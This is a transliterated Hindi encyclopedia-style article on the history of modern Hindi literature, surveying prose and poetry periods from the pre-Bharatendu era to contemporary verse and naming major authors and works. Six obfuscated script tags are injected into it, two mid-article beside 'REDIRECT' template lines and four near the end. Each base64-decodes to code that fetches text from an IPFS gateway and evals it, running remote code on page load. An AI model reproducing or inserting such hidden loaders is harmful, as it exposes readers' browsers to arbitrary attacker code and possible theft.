आधुनिक हिन्दी साहित्य का इतिहास

hindi sahity ka adhunik kal 'bharatiy itihas' ke badalate hue svaroop se kafi prabhavit tha. 'bharatiy svatantrata sangram' aur rashtriyata ki bhavana ka prabhav bhi sahity mean a gaya tha. bharat mean audyogikaran ka praranbh hone laga tha. avagaman ke sadhanoan ka bhi tezi se vikas hua. aangrezi aur pashchaty shiksha ka prabhav badha aur jivan mean badalav ane laga. eeshvar ke sath-sath manav ko mahattv diya jane laga tha. bhavana ke sath-sath vicharoan ko paryapt pradhanata mili. pady ke sath hi gady ka bhi paryapt vikas hua aur chhapekhane ke ate hi sahity ke sansar mean ek nayi kraanti ka bijaropan hua.

gady ka vikas

adhunik hindi gady ka vikas keval hindi bhashi kshetroan tak hi simit nahian rah gaya tha. poore desh mean aur har pradesh mean hindi ki lokapriyata vyapt hone lagi thi aur anek any bhashi lekhakoan ne bhi hindi mean sahity ki rachana karake isake vikas mean mahattvapoorn yogadan kiya. hindi gady ke vikas ko nimnalikhit charanoan mean vibhajit kiya ja sakata hai-

1. bharatendu poorv yug - (1800 ee. se 1850 ee. tak)
2. bharatendu yug - (1850 ee. se 1900 ee. tak)
3. dvivedi yug - (1900 ee. se 1920 ee. tak)
4. ramachandr shukl tatha premachand yug - (1920 ee. se 1936 ee. tak)
5. adyatan yug - (1936 ee. se aj tak)

bharatendu poorv yug

hindi mean gady ka vikas 19vian shatabdi ke asapas hua. is vikas mean kalakatta (adhunik kolakata) ke 'fort viliyam k aaulej' ki mahattvapoorn bhoomika rahi thi. is k aaulej ke do vidvanoan lalloolal tatha sadal mishr ne gil kraist ke nirdeshan mean kramash: 'premasagar' tatha 'nasiketopakhyan' namak pustakean taiyar kian. isi samay sadasukhalal ne 'sukhasagar' tatha muanshi iansha alla khaan ne 'rani ketaki ki kahani' ki rachana ki. in sabhi granthoan ki bhasha mean us samay prayog mean ane vali kh di boli ko sthan mila. adhunik kh di boli ke gady ke vikas mean vibhinn dharmoan ki parichayatmak pustakoan ka khoob sahayog raha, jisamean eesaee dharm ka bhi mahattvapoorn yogadan raha tha. bangal ke raja ramamohan ray ne 1815 ee. mean 'vedaantasootr' ka hindi anuvad prakashit karavaya. isake bad unhoanne 1829 mean 'bangadoot' namak patr hindi mean nikala. isake pahale hi 1826 mean kanapur ke pan. jugal kishor ne hindi ka pahala samachar patr 'udant martand' kalakatta se nikala tha. isi samay gujarati bhashi 'ary samaj' ke sansthapak svami dayanand ne apana prasiddh granth 'satyarth prakash' hindi mean likha.

bharatendu yug

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatendu harishchandr (1855-1885) ko hindi sahity ke adhunik yug ka pratinidhi mana jata hai. unhoanne 'kavivachan sudha', 'harishchandr maigazin' aur 'harishchandr patrika' bhi nikali thian. isake sath hi anek natakoan adi ki rachana bhi ki. bharatendu harishchandr ke prasiddh natak haian- 'chandravali', 'bharat durdasha' aur 'aandher nagari' adi. ye natak rangamanch par bhi bahut lokapriy hue. is kal mean nibandh, natak, upanyas tatha kahaniyoan ki rachana huee. is kal ke lekhakoan mean balkrishna bhatt, pratap narayan mishr, radha charan gosvami, upadhyay badarinath chaudhari 'premaghan', lala shrinivas das, devakinandan khatri aur kishori lal gosvami adi ullekhaniy haian. inamean se adhikaansh lekhak hone ke sath-sath patrakar bhi the. shrinivasadas ke upanyas 'parikshaguroo' ko hindi ka pahala upanyas kaha jata hai. kuchh vidvanh shraddharam phullauri ke upanyas 'bhagyavati' ko bhi hindi ka pahala upanyas svikar karate haian. devakinandan khatri ka 'chandrakaanta' tatha 'chandrakaanta santati' adi is yug ke pramukh upanyas haian. ye upanyas itane adhik lokapriy hue the ki inako padhane ke liye aise ahindi log, jo hindi padhana-likhana adi nahian janate the, unhoanne hindi bhasha sikhani shuroo kar di thi. is yug ki kahaniyoan mean shivaprasad sitare hind ki 'raja bhoj ka sapana' mahattvapoorn hai.

dvivedi yug

achary mahavir prasad dvivedi ke nam par hi is yug ka nam 'dvivedi yug' rakha gaya tha. san 1903 mean dvivedi ji ne 'sarasvati' namak patrika ke sanpadan ka bhar sanbhala. unhoanne kh di boli gady ke svaroop ko sthir kiya aur patrika ke madhyam se rachanakaroan ke ek b de samuday ko kh di boli mean likhane ko prerit kiya. is kal mean nibandh, upanyas, kahani, natak evan samalochana ka achchha vikas hua. dvivedi yug ke nibandhakaroan mean mahavir prasad dvivedi, madhav prasad mishr, shyamasuandar das, chandradhar sharma guleri, bal mukand gupt aur adhyapak poorn sianh adi ullekhaniy haian. inake nibandh ganbhir, lalit evan vicharatmak haian, kishorilal gosvami aur baboo gopal ram gahamari ke upanyasoan mean manoranjan aur ghatanaoan ki rochakata hai. hindi kahani ka vastavik vikas 'dvivedi yug' se hi shuroo hua. kishori lal gosvami ki 'iandumati kahani' ko kuchh vidvanh hindi ki pahali kahani manate haian. any kahaniyoan mean 'bang mahila ki dulaee vali', ramachandr shukl ki 'gyarah varsh ka samay', jayashankar prasad ki 'gram' aur chandradhar sharma guleri ki 'usane kaha tha' mahattvapoorn haian. samalochana ke kshetr mean padmasianh sharma ullekhaniy haian. ayodhyasianh upadhyay hariaudh, shivanandan sahay tatha ray deviprasad poorn dvara kuchh natak adi bhi likhe ge the.

ramachandr shukl evan premachand yug

gady ke vikas mean is yug ka vishesh mahattv hai. ramachandr shukl ne nibandh, hindi sahity ke itihas aur samalochana ke kshetr mean ganbhir lekhan kiya. unhoanne manovikaroan par hindi mean pahali bar nibandh lekhan kiya. sahity samiksha se sanbandhit nibandhoan ki bhi rachana ki. unake nibandhoan mean bhav aur vichar arthath buddhi aur hriday donoan ka samanvay hai. hindi shabdasagar ki bhoomika ke roop mean likha gaya unaka itihas aj bhi apani sarthakata banae hue hai. malik muhammad jayasi, tulasidas aur sooradas par likhi gayi unaki alochanaoan ne bhavi alochakoan ka margadarshan kiya. is kal ke any nibandhakaroan mean jainendr kumar jain, siyaramasharan gupt, padumalal punnalal bakhshi aur jayashankar prasad adi ullekhaniy haian. katha sahity ke kshetr mean khyati prapt premachand ne kraanti hi kar dali.

katha sahity keval manoranjan, kautoohal aur niti ka vishay hi nahian raha tha, balki sidhe jivan ki samasyaoan se ju d gaya. muanshi premachand ne 'seva sadan', 'rangabhoomi', 'nirmala', 'gaban' evan 'godan' adi upanyasoan ki rachana ki. unaki tin sau se adhik kahaniyaan 'manasarovar' ke ath bhagoan mean tatha 'guptadhan' ke do bhagoan mean sangrahit haian. 'poos ki rat', 'kafan', 'shataranj ke khila di', 'panch parameshvar', 'namak ka daroga' tatha 'eedagah' adi unaki kahaniyaan khoob lokapriy huyian. is kal ke any kathakaroan mean vishvanbhar sharma 'kaushik', vriandavanalal varma, rahul saankrityayan, paandey bechan sharma 'ugr', upendranath ashk, jayashankar prasad, bhagavaticharan varma adi ke nam ullekhaniy haian. natak ke kshetr mean jayashankar prasad ka vishesh sthan hai. inake 'chandragupt', 'skandagupt', 'dhruvasvamini' jaise aitihasik natakoan mean itihas aur kalpana tatha bharatiy aur pashchaty naty padyatiyoan ka samanvay hua hai. lakshminarayan mishr, harikrishna premi, jagadishachandr mathur adi is kal ke ullekhaniy natakakar haian.

adyatan kal

is kal mean gady ka chahuanmukhi vikas hua. hajari prasad dvivedi, jainendr, ajney, yashapal, nandadulare vajapeyi, nageandr, ramavriksh benipuri tatha ramavilas sharma adi ne vicharatmak nibandhoan ki rachana ki hai. hajari prasad dvivedi, vidyanivas mishr, kanhaiyalal mishr prabhakar, viveki ray aur kuberanath ray ne lalit nibandhoan ki rachana ki hai. harishankar parasaee, sharad joshi, shrilal shukl, ravianndranath tyagi tatha ke. pi. saksena, ke vyangy aj ke jivan ki vidroopataoan ke udghatan mean saphal hue haian. jainendr, ajney, yashapal, ilachandr joshi, amritalal nagar, raangey raghav aur bhagavati charan varma ne ullekhaniy upanyasoan ki rachana ki. nagarjun, phanishvaranath renu, amritaray tatha rahi masoom raza ne lokapriy aanchalik upanyas likhe haian. mohan rakesh, rajendr yadav, mannoo bhandari, kamaleshvar, bhishm sahani, bhairav prasad gupt adi ne adhunik bhav bodh vale anek upanyasoan aur kahaniyoan ki rachana ki hai. amarakaant, nirmal varma tatha jnanaranjan adi bhi ne katha sahity ke mahatvapoorn stanbh haian.

prasadottar natakoan ke kshetr mean lakshminarayan lal, lakshmikaant varma tatha mohan rakesh ke nam ullekhaniy haian. kanhaiyalal mishr prabhakar, ramavriksh benipuri tatha banarasidas chaturvedi adi ne sansmaran, rekhachitr v jivani adi ki rachana ki hai. achary ramachandr shukl ke bad hazari prasad dvivedi, nand dulare vajapeyi, nagendr, ramavilas sharma tatha namavar sianh ne hindi samalochana ko samriddh kiya. aj gady ki anek nayi vidhaoan, jaise- yatra vrittaant, riportaj, rediyo roopak, alekh adi mean vipul sahity ki rachana ho rahi hai aur gady ki vidhaean ek doosare se mil rahi haian.

adhunik hindi sahity mean pady ka vikas

adhunik kal mean likhi jane vali kavita ko nimn bhagoan mean vibhajit kiya ja sakata hai-

1. navajagaran kal (bharatendu yug) - 1850 ee. se 1900 ee. tak
2. sudhar kal (dvivedi yug) - 1900 ee. se 1920 ee. tak
3. chhayavadi yug - 1920 ee. se 1936 ee. tak
4. pragativad-prayogavad - 1936 ee. se 1953 ee. tak
5. nee kavita v samakalin kavita - 1953 ee. se ab tak

navajagaran kal (bharatendu yug)

is kal ki kavita ki sabase b di visheshata yah hai ki yah pahali bar jan-jivan ki samasyaoan se sidhe ju dati hai. isamean bhakti aur shrangar ke sath sath samaj sudhar ki bhavana bhi abhivyakt huee. paranparik vishayoan ki kavita ka madhyam brajabhasha hi rahi, lekin jahaan ye kavitaean navajagaran ke svar ki abhivyakti karati haian, vahaan inaki bhasha hindi ho jati hai. kaviyoan mean bharatendu harishchandr ka vyaktitv pradhan raha. unhean navajagaran ka agradoot kaha jata hai. pratap narayan mishr ne hindi hindoo hindustan ki vakalat ki. any kaviyoan mean upadhyay badarinarayan chaudhari 'pemaghan' ke nam ullekhaniy haian.

sudhar kal (dvivedi yug)

hindi kavita ko naya rangaroop dene mean shridhar pathak ka mahatvapoorn yogadan hai. unhean 'pratham svachchhandatavadi kavi' kaha jata hai. unaki 'ekaant yogi' aur 'kashmir sushama' kh di boli ki suprasiddh rachanaean haian. ramanaresh dvivedi ne apane 'pathik milan' aur 'svapn' mahakavyoan mean is dhara ka vikas kiya. ayodhyasianh upadhyay 'hariaudh' ke 'priy pravas' ko kh di boli ka pahala mahakavy mana gaya hai. mahavir prasad dvivedi ki prerana se maithilisharan gupt ne kh di boli mean anek kavyoan ki rachana ki. in kavyoan mean 'bharat bharati', 'saket', 'jayadrath vadh', 'panchavati' aur 'jayabharat' adi ullekhaniy haian. unaki 'bharat bharati' mean svadhinata aandolan ki lalakar hai. rashtriy prem unaki kavitaoan ka pramukh svar hai. is kal ke any kaviyoan mean siyaram sharan gupt, subhadra kumari chauhan, nathooram shankar sharma tatha gayaprasad shukl 'sanehi' adi ke nam ullekhaniy haian. chhayavad

chhayavadi yug

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kavita ki drishti se is kal mean ek doosari dhara bhi thi, jo sidhe-sidhe svadhinata aandolan se ju di thi. isamean makhanalal chaturvedi, balkrishna sharma 'navin', narendr sharma, ramadhari sianh 'dinakar', shrikrishna saral adi ke nam ullekhaniy haian. is yug ki pramukh kritiyoan mean jayashankar prasad ki 'kamayani' aur 'aansoo', sumitranandan pant ka 'pallav', 'guanjan' aur 'vina', sooryakaant tripathi nirala ki 'gitika' aur 'anamika', tatha mahadevi varma ki 'yama', 'dipashikha' aur 'saandhyagit' adi kritiyaan mahatvapoorn haian. 'kamayani' ko adhunik kal ka sarvashreshth mahakavy kaha jata hai. chhayavadottar kal mean harivansharay bachchan ka nam ullekhaniy hai. chhayavadi kavy mean atmaparakata, prakriti ke anek roopoan ka sajiv chitran, vishv manavata ke prati prem adi ki abhivyakti huee hai. isi kal mean manav man sookshm bhavoan ko prakat karane ki kshamata hindi bhasha mean vikasit huee.

pragativad

varsh 1936 ke as-pas se kavita ke kshetr mean b da parivartan dikhaee p da. pragativad ne kavita ko jivan ke yatharth se jo da. pragativadi kavi karl marks ki samajavadi vicharadhara se prabhavit haian. yug ki maang ke anuroop chhayavadi kavi sumitranandan pant aur sooryakaant tripathi 'nirala' ne apani bad ki rachanaoan mean pragativad ka sath diya. nareandr sharma aur dinakaraji ne bhi anek pragativadi rachanaean kian. pragativad ke prati samarpit kaviyoan mean kedaranath agraval, nagarjun, shamasher bahadur sianh, ramavilas sharma, trilochan shastri aur gajanan madhav 'muktibodh' ke nam ullekhaniy haian. is dhara mean samaj ke shoshit varg mazadoor aur kisanoan ke prati sahanubhooti vyakt ki gayi. dharmik roodhiyoan aur samajik vishamata par chot ki gayi aur hindi kavita ek bar phir khetoan aur khalihanoan se ju di gee.

prayogavad

pragativad ke samanaantar prayogavad ki dhara bhi pravahit huee. ajney ko is dhara ka pravartak svikar kiya gaya. san 1943 mean ajney ne 'tar saptak' ka prakashan kiya. isake sat kaviyoan mean pragativadi kavi adhik the. ramavilas sharma, prabhakar machave, nemichand jain, gajanan madhav 'muktibodh', girijakumar mathur aur bharatabhooshan agraval ye sabhi kavi pragativadi haian. in kaviyoan ne kathy aur abhivyakti ki drishti se anek navin prayog kiye. at: 'tar saptak' ko prayogavad ka adhar granth mana gaya. ajney dvara sanpadit 'pratik' mean in kaviyoan ki anek rachanaean prakashit huee thian.

nee kavita aur samakalin kavita

san 1953 ee. mean ilahabad se 'nee kavita' patrika ka prakashan hua. is patrika mean nee kavita ko prayogavad se bhinn roop mean pratishthit kiya gaya. doosara saptak (1951), tisara saptak (1951) tatha chauthe saptak ke kaviyoan ko bhi ne kavi kaha gaya. vastut: nee kavita ko prayogavad ka hi bhinn roop mana jata hai. isamean bhi do dharaean parilakshit hoti haian-

1. vaiyaktikata ko surakshit rakhane ka prayatn karane vali dhara - isamean ajney, dharmavir bharati, kuanvar narayan, shrikaant varma, jagadish gupt pramukh haian.
2. pragatishil dhara - jisamean gajanan madhav 'muktibodh', ramavilas sharma, nagarjun, shamasher bahadur sianh, trilochan shastri, raghuvir sahay, kedaranath sianh tatha sudama paandey dhoomil adi ullekhaniy haian.

sarveshvar dayal saksena mean in donoan dharaoan ka mel dikhaee p data hai. in donoan hi dharaoan mean anubhav ki pramanikata, laghumanav ki pratishtha tatha baudhikata ka agrah adi pramukh pravrittiyaan haian. sadharan bolachal ki shabdavali mean asadharan arth bhar dena inaki bhasha ki visheshata hai. samakalin kavita mean git, navagit aur gazal ki or rujhan badha hai. aj hindi ki nirantar gatishil aur vyapak hoti huee kavy dhara mean sanpoorn bharat ke sabhi pradeshoan ke sath hi sath sanpoorn vishv mean lokipriy ho rahi hai. isamean aj desh videsh mean rahane vale anek nagarikataoan ke asankhy vidvanoan aur pravasi bharatiyoan ka yogadan nirantar jari hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>